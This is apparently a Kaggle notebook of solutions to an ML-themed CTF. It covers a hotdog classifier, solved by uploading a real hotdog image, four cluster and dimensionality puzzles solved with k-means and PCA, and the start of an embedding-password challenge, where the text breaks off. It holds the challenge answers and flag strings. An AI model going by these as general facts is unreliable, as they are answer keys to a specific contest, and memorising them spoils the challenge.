{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# Solutions to each challenge except crop2\n\nThanks to the organizers for all of the great challenges!\n\nBelow I try to explain how I approached each problem (and some of the dead ends I went down)\n\n----\n\n","metadata":{}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","execution":{"iopub.status.busy":"2022-09-15T14:30:35.269663Z","iopub.execute_input":"2022-09-15T14:30:35.270142Z","iopub.status.idle":"2022-09-15T14:30:37.458410Z","shell.execute_reply.started":"2022-09-15T14:30:35.270046Z","shell.execute_reply":"2022-09-15T14:30:37.457232Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:35:33.589154Z","iopub.execute_input":"2022-09-15T14:35:33.589620Z","iopub.status.idle":"2022-09-15T14:35:33.597181Z","shell.execute_reply.started":"2022-09-15T14:35:33.589584Z","shell.execute_reply":"2022-09-15T14:35:33.596124Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/hotdog/chester.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:49:28.350703Z","iopub.execute_input":"2022-09-15T02:49:28.351121Z","iopub.status.idle":"2022-09-15T02:49:28.379187Z","shell.execute_reply.started":"2022-09-15T02:49:28.351086Z","shell.execute_reply":"2022-09-15T02:49:28.378275Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# My Solution\n\nUpload a picture of a hotdog! Any hot dog will do","metadata":{}},{"cell_type":"code","source":"Ima(filename=f\"../input/defconfiles/hotdog.jpeg\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:49:26.501892Z","iopub.execute_input":"2022-09-15T12:49:26.502835Z","iopub.status.idle":"2022-09-15T12:49:26.520334Z","shell.execute_reply.started":"2022-09-15T12:49:26.502790Z","shell.execute_reply":"2022-09-15T12:49:26.518581Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open(f\"../input/defconfiles/hotdog.jpeg\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    ","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:53:54.313803Z","iopub.execute_input":"2022-09-15T02:53:54.314504Z","iopub.status.idle":"2022-09-15T02:53:54.655710Z","shell.execute_reply.started":"2022-09-15T02:53:54.314465Z","shell.execute_reply":"2022-09-15T02:53:54.654397Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotdog\", \"NGO2YKL5CX8M6M}CFYJXF13YFOX3JGHMT79OA20J4LH6SSHFOULHKJ62DQUMEORS85MECVTX710JY70GH3IVFOS3FFD331ANCUZATWRYCDDYGN6PD7HKUB3L200{HFC7\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:06:38.475373Z","iopub.execute_input":"2022-09-15T03:06:38.475775Z","iopub.status.idle":"2022-09-15T03:06:38.489327Z","shell.execute_reply.started":"2022-09-15T03:06:38.475744Z","shell.execute_reply":"2022-09-15T03:06:38.488012Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nRun kmeans from scipy on each cluster, then look at the outputs. There will be a sharp cutoff at the correct number of clusters (add one to each to count the clusters correctly, since you can't have 0 clusters)","metadata":{}},{"cell_type":"code","source":"clusters1 = np.load(f\"{dir_name}/math/clusters1.npy\")\nclusters2 = np.load(f\"{dir_name}/math/clusters2.npy\")\nclusters3 = np.load(f\"{dir_name}/math/clusters3.npy\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:56:40.003867Z","iopub.execute_input":"2022-09-15T02:56:40.004374Z","iopub.status.idle":"2022-09-15T02:56:40.025675Z","shell.execute_reply.started":"2022-09-15T02:56:40.004337Z","shell.execute_reply":"2022-09-15T02:56:40.024639Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from scipy.cluster.vq import vq, kmeans, whiten","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:56:49.399676Z","iopub.execute_input":"2022-09-15T02:56:49.400313Z","iopub.status.idle":"2022-09-15T02:56:49.570089Z","shell.execute_reply.started":"2022-09-15T02:56:49.400254Z","shell.execute_reply":"2022-09-15T02:56:49.568349Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"## Clusters 1 has a cutoff at 4 + 1 = 5\n\nans = []\nfor i in range(10):\n    _, a = kmeans(clusters1, i + 1)\n    ans.append(a)\nans","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:59:10.474254Z","iopub.execute_input":"2022-09-15T02:59:10.474713Z","iopub.status.idle":"2022-09-15T02:59:10.559963Z","shell.execute_reply.started":"2022-09-15T02:59:10.474676Z","shell.execute_reply":"2022-09-15T02:59:10.559139Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Clusters 2 has a cutoff at 1 + 1 = 2\n\nans = []\nfor i in range(10):\n    _, a = kmeans(clusters2, i + 1)\n    ans.append(a)\nans","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:58:56.843079Z","iopub.execute_input":"2022-09-15T02:58:56.843512Z","iopub.status.idle":"2022-09-15T02:58:56.930598Z","shell.execute_reply.started":"2022-09-15T02:58:56.843479Z","shell.execute_reply":"2022-09-15T02:58:56.929303Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Clusters 3 has a cutoff at 2 + 1 = 3\n\nans = []\nfor i in range(10):\n    _, a = kmeans(clusters3, i + 1)\n    ans.append(a)\nans","metadata":{"execution":{"iopub.status.busy":"2022-09-15T02:59:23.345097Z","iopub.execute_input":"2022-09-15T02:59:23.345596Z","iopub.status.idle":"2022-09-15T02:59:23.423883Z","shell.execute_reply.started":"2022-09-15T02:59:23.345521Z","shell.execute_reply":"2022-09-15T02:59:23.422318Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_1\", \"submission\": \"523\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:00:01.291712Z","iopub.execute_input":"2022-09-15T03:00:01.292159Z","iopub.status.idle":"2022-09-15T03:00:01.517730Z","shell.execute_reply.started":"2022-09-15T03:00:01.292116Z","shell.execute_reply":"2022-09-15T03:00:01.516045Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_1\", \"J7XTXEY84STDFG4FE8BSDLNKEWN{YDZE97V3C9LBY1VXERHLIP9L85Z30TZT45WH}SUBS4P7PSC5313Z73LYLNFGFES2M8BBLZA048JO0ZAL8VKION05TUIDB1LL5SIB\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:06:28.719127Z","iopub.execute_input":"2022-09-15T03:06:28.719630Z","iopub.status.idle":"2022-09-15T03:06:28.734561Z","shell.execute_reply.started":"2022-09-15T03:06:28.719592Z","shell.execute_reply":"2022-09-15T03:06:28.733594Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nUse sklearn PCA to reduce the dimensionality of each file, then look for the sharp cutoff in the explained_variance_ratio_","metadata":{}},{"cell_type":"code","source":"first_dim1 = np.load(f\"{dir_name}/math/first_dim1.npy\")\nfirst_dim2 = np.load(f\"{dir_name}/math/first_dim2.npy\")\nfirst_dim3 = np.load(f\"{dir_name}/math/first_dim3.npy\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:02:08.879042Z","iopub.execute_input":"2022-09-15T03:02:08.879627Z","iopub.status.idle":"2022-09-15T03:02:08.909623Z","shell.execute_reply.started":"2022-09-15T03:02:08.879579Z","shell.execute_reply":"2022-09-15T03:02:08.908397Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.decomposition import PCA","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:51:40.909884Z","iopub.execute_input":"2022-09-15T12:51:40.910291Z","iopub.status.idle":"2022-09-15T12:51:40.915426Z","shell.execute_reply.started":"2022-09-15T12:51:40.910255Z","shell.execute_reply":"2022-09-15T12:51:40.914434Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Dim 1 has a cutoff after element 3\n\npca = PCA(n_components=6)\npca.fit(first_dim1)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:02:26.427782Z","iopub.execute_input":"2022-09-15T03:02:26.428314Z","iopub.status.idle":"2022-09-15T03:02:26.448397Z","shell.execute_reply.started":"2022-09-15T03:02:26.428262Z","shell.execute_reply":"2022-09-15T03:02:26.447441Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Dim 2 has a cutoff after element 5\n\npca = PCA(n_components=6)\npca.fit(first_dim2)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:02:51.666856Z","iopub.execute_input":"2022-09-15T03:02:51.667347Z","iopub.status.idle":"2022-09-15T03:02:51.676933Z","shell.execute_reply.started":"2022-09-15T03:02:51.667307Z","shell.execute_reply":"2022-09-15T03:02:51.676070Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Dim 3 has a cutoff after element 4\n\npca = PCA(n_components=6)\npca.fit(first_dim3)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:03:11.176901Z","iopub.execute_input":"2022-09-15T03:03:11.177340Z","iopub.status.idle":"2022-09-15T03:03:11.188162Z","shell.execute_reply.started":"2022-09-15T03:03:11.177304Z","shell.execute_reply":"2022-09-15T03:03:11.186599Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_2\", \"submission\": \"354\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:03:25.259765Z","iopub.execute_input":"2022-09-15T03:03:25.260215Z","iopub.status.idle":"2022-09-15T03:03:25.471312Z","shell.execute_reply.started":"2022-09-15T03:03:25.260180Z","shell.execute_reply":"2022-09-15T03:03:25.470036Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_2\", \"SML9ZPGRP0QHZKHFE53SFAORKL}E6I1NOAAXY7FTZCTKHV86E5BQZVU1AF3MQGMQATZAR2Y0HOFCZBYPKU3RJT2K2CEHU8TWAPATT7BM81EFH7VSA{HW3EQMA2B94469\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:06:21.473965Z","iopub.execute_input":"2022-09-15T03:06:21.474421Z","iopub.status.idle":"2022-09-15T03:06:21.486709Z","shell.execute_reply.started":"2022-09-15T03:06:21.474387Z","shell.execute_reply":"2022-09-15T03:06:21.485443Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of the dimensionality in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nExactly the same trick works again: use PCA and find the cutoff:","metadata":{}},{"cell_type":"code","source":"second_dim1 = np.load(f\"{dir_name}/math/second_dim1.npy\")\nsecond_dim2 = np.load(f\"{dir_name}/math/second_dim2.npy\")\nsecond_dim3 = np.load(f\"{dir_name}/math/second_dim3.npy\")\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:05:06.590744Z","iopub.execute_input":"2022-09-15T03:05:06.592198Z","iopub.status.idle":"2022-09-15T03:05:06.624068Z","shell.execute_reply.started":"2022-09-15T03:05:06.592135Z","shell.execute_reply":"2022-09-15T03:05:06.622982Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# dim1 has a cutoff after element 4\npca = PCA(n_components=8)\npca.fit(second_dim1)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:05:14.040834Z","iopub.execute_input":"2022-09-15T03:05:14.041279Z","iopub.status.idle":"2022-09-15T03:05:14.051362Z","shell.execute_reply.started":"2022-09-15T03:05:14.041204Z","shell.execute_reply":"2022-09-15T03:05:14.050008Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# dim1 has a cutoff after element 7\npca = PCA(n_components=8)\npca.fit(second_dim2)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:05:29.700743Z","iopub.execute_input":"2022-09-15T03:05:29.701135Z","iopub.status.idle":"2022-09-15T03:05:29.711080Z","shell.execute_reply.started":"2022-09-15T03:05:29.701105Z","shell.execute_reply":"2022-09-15T03:05:29.709685Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# dim1 has a cutoff after element 4\npca = PCA(n_components=8)\npca.fit(second_dim3)\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:05:39.471386Z","iopub.execute_input":"2022-09-15T03:05:39.471780Z","iopub.status.idle":"2022-09-15T03:05:39.481426Z","shell.execute_reply.started":"2022-09-15T03:05:39.471751Z","shell.execute_reply":"2022-09-15T03:05:39.480049Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_3\", \"submission\": \"474\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:05:45.449912Z","iopub.execute_input":"2022-09-15T03:05:45.450509Z","iopub.status.idle":"2022-09-15T03:05:45.659782Z","shell.execute_reply.started":"2022-09-15T03:05:45.450468Z","shell.execute_reply":"2022-09-15T03:05:45.658409Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_3\", \"K81ZLBFAAHHPF1P3YQ7NXEPOP}{NF2AFCNMHRMRZRQ0916HDH0L2YOXRK6DTU5KZNASB71GDA1N_BX8D17CLA4FIU6TPS2NAH8TSGR1QVXB18G26HPGC9T3R6JTMG6WP\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:06:13.139289Z","iopub.execute_input":"2022-09-15T03:06:13.139681Z","iopub.status.idle":"2022-09-15T03:06:13.170863Z","shell.execute_reply.started":"2022-09-15T03:06:13.139651Z","shell.execute_reply":"2022-09-15T03:06:13.169567Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nFirst use the same trick as math1 to see that there are 5 clusters.\n\nThen find the size of each of the clusters using kmeans set to 5.\n\nThen, for each of those clusters, find the dimensions in the same way as math2 and math3","metadata":{}},{"cell_type":"code","source":"clusters1 = np.load(f\"{dir_name}/math/clusters1.npy\")","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"ans = []\nfor i in range(10):\n    _, a = kmeans(clusters1, i + 1)\n    ans.append(a)\nans\n\n# cutoff at 4 + 1 = 5","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:12:47.454131Z","iopub.execute_input":"2022-09-15T03:12:47.454595Z","iopub.status.idle":"2022-09-15T03:12:47.537525Z","shell.execute_reply.started":"2022-09-15T03:12:47.454560Z","shell.execute_reply":"2022-09-15T03:12:47.536197Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"clusts, a = kmeans(clusters1, 5)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:07:38.627321Z","iopub.execute_input":"2022-09-15T03:07:38.627804Z","iopub.status.idle":"2022-09-15T03:07:38.643873Z","shell.execute_reply.started":"2022-09-15T03:07:38.627770Z","shell.execute_reply":"2022-09-15T03:07:38.642892Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import scipy","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:07:52.144862Z","iopub.execute_input":"2022-09-15T03:07:52.145514Z","iopub.status.idle":"2022-09-15T03:07:52.151726Z","shell.execute_reply.started":"2022-09-15T03:07:52.145465Z","shell.execute_reply":"2022-09-15T03:07:52.150685Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"allpoints = {0: [],1: [],2: [],3: [],4: []}\n\nfor point in clusters1:\n    minc = 100000\n    minci = 0\n    for ci, c in enumerate(clusts):\n        dist = scipy.spatial.distance.cdist(np.array([point]), np.array([c]))[0][0]\n        if dist < minc:\n            minc = dist\n            minci = ci\n    allpoints[minci].append(point)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:07:52.418847Z","iopub.execute_input":"2022-09-15T03:07:52.419273Z","iopub.status.idle":"2022-09-15T03:07:52.432960Z","shell.execute_reply.started":"2022-09-15T03:07:52.419225Z","shell.execute_reply":"2022-09-15T03:07:52.431943Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### First find the size of each cluster:\n\nfor i in allpoints:\n    print(i, len(allpoints[i]))","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:07:59.483042Z","iopub.execute_input":"2022-09-15T03:07:59.483949Z","iopub.status.idle":"2022-09-15T03:07:59.490882Z","shell.execute_reply.started":"2022-09-15T03:07:59.483902Z","shell.execute_reply":"2022-09-15T03:07:59.489333Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"## So in order, the clusters by size are: # 4, 1, 3, 0, 2","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"## Then for each cluster in size order, look at the following and find the index of the sharp cutoff:\n\n# cluster 4, cutoff at 5\npca = PCA(n_components=8)\npca.fit(np.array(allpoints[4]))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:10:19.492156Z","iopub.execute_input":"2022-09-15T03:10:19.492670Z","iopub.status.idle":"2022-09-15T03:10:19.502027Z","shell.execute_reply.started":"2022-09-15T03:10:19.492634Z","shell.execute_reply":"2022-09-15T03:10:19.501211Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# cluster 1, cutoff at 4\npca = PCA(n_components=8)\npca.fit(np.array(allpoints[1]))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:10:23.138643Z","iopub.execute_input":"2022-09-15T03:10:23.139076Z","iopub.status.idle":"2022-09-15T03:10:23.149574Z","shell.execute_reply.started":"2022-09-15T03:10:23.139041Z","shell.execute_reply":"2022-09-15T03:10:23.148506Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# cluster 3, cutoff at 3\npca = PCA(n_components=8)\npca.fit(np.array(allpoints[3]))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:10:32.421026Z","iopub.execute_input":"2022-09-15T03:10:32.421515Z","iopub.status.idle":"2022-09-15T03:10:32.432824Z","shell.execute_reply.started":"2022-09-15T03:10:32.421477Z","shell.execute_reply":"2022-09-15T03:10:32.431766Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# cluster 0, cutoff at 1\npca = PCA(n_components=8)\npca.fit(np.array(allpoints[0]))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:10:44.559497Z","iopub.execute_input":"2022-09-15T03:10:44.559900Z","iopub.status.idle":"2022-09-15T03:10:44.569935Z","shell.execute_reply.started":"2022-09-15T03:10:44.559868Z","shell.execute_reply":"2022-09-15T03:10:44.568667Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# cluster 2, cutoff at 2\npca = PCA(n_components=8)\npca.fit(np.array(allpoints[2]))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:11:01.694521Z","iopub.execute_input":"2022-09-15T03:11:01.694934Z","iopub.status.idle":"2022-09-15T03:11:01.705461Z","shell.execute_reply.started":"2022-09-15T03:11:01.694901Z","shell.execute_reply":"2022-09-15T03:11:01.704320Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# So final values in order: 54312","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_4\", \"submission\": \"54312\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:11:22.576764Z","iopub.execute_input":"2022-09-15T03:11:22.577254Z","iopub.status.idle":"2022-09-15T03:11:22.778307Z","shell.execute_reply.started":"2022-09-15T03:11:22.577193Z","shell.execute_reply":"2022-09-15T03:11:22.777331Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_4\", \"FIKY3VGKX81AHEZT0ZABPF3NKMURL5WXDH0}M50H9V93BB3TPGPTYBIHW9N48GP8I1IKNHR0F1JN1BGYNV3VMCE6CTQA8VX64DH{M0SDLLS6JDWEFFUVBSBRAH7CFCEV\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T03:11:26.726955Z","iopub.execute_input":"2022-09-15T03:11:26.728727Z","iopub.status.idle":"2022-09-15T03:11:26.746084Z","shell.execute_reply.started":"2022-09-15T03:11:26.728637Z","shell.execute_reply":"2022-09-15T03:11:26.744467Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password.  Fortunately, someone wrote it down.  Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space.  Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nI first found the number of dimensions using PCA just like before.\n\nThen I used sklearn Isomap to create the lower dimensional manifold with that number of dimensions.\n\nI struggled for a bit to know what to do with that information - but it turns out just that sorting the tokens by the transformed values worked!\n","metadata":{}},{"cell_type":"code","source":"emb = np.load(f\"{dir_name}/wifi/Embedded_characters.npz\")\nemb['embeddings'].shape","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:50:17.743465Z","iopub.execute_input":"2022-09-15T12:50:17.743871Z","iopub.status.idle":"2022-09-15T12:50:17.756552Z","shell.execute_reply.started":"2022-09-15T12:50:17.743835Z","shell.execute_reply":"2022-09-15T12:50:17.755314Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"emb['tokens']","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:50:24.578359Z","iopub.execute_input":"2022-09-15T12:50:24.578802Z","iopub.status.idle":"2022-09-15T12:50:24.587754Z","shell.execute_reply.started":"2022-09-15T12:50:24.578764Z","shell.execute_reply":"2022-09-15T12:50:24.586778Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"toks = '!!\"\"##$$%%&&\\'\\'(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[[\\\\\\\\]]^^__``aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~'","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:50:36.520933Z","iopub.execute_input":"2022-09-15T12:50:36.521485Z","iopub.status.idle":"2022-09-15T12:50:36.527160Z","shell.execute_reply.started":"2022-09-15T12:50:36.521437Z","shell.execute_reply":"2022-09-15T12:50:36.526251Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Sharp cutoff at element 3\n\npca = PCA(n_components=5, svd_solver='full')\nout = pca.fit(np.array(emb['embeddings']))\npca.explained_variance_ratio_","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:51:55.793870Z","iopub.execute_input":"2022-09-15T12:51:55.794283Z","iopub.status.idle":"2022-09-15T12:51:55.841826Z","shell.execute_reply.started":"2022-09-15T12:51:55.794250Z","shell.execute_reply":"2022-09-15T12:51:55.840650Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.manifold import Isomap","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:51:07.152027Z","iopub.execute_input":"2022-09-15T12:51:07.152573Z","iopub.status.idle":"2022-09-15T12:51:07.791624Z","shell.execute_reply.started":"2022-09-15T12:51:07.152527Z","shell.execute_reply":"2022-09-15T12:51:07.790388Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"embedding = Isomap(n_components=3)\nX_transformed = embedding.fit_transform(emb['embeddings'])","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:52:36.468072Z","iopub.execute_input":"2022-09-15T12:52:36.468766Z","iopub.status.idle":"2022-09-15T12:52:36.545039Z","shell.execute_reply.started":"2022-09-15T12:52:36.468716Z","shell.execute_reply":"2022-09-15T12:52:36.541654Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A neat plot I found when investigating (although it didn't really help me in the end)\nplt.scatter(X_transformed[:, 0], X_transformed[:, 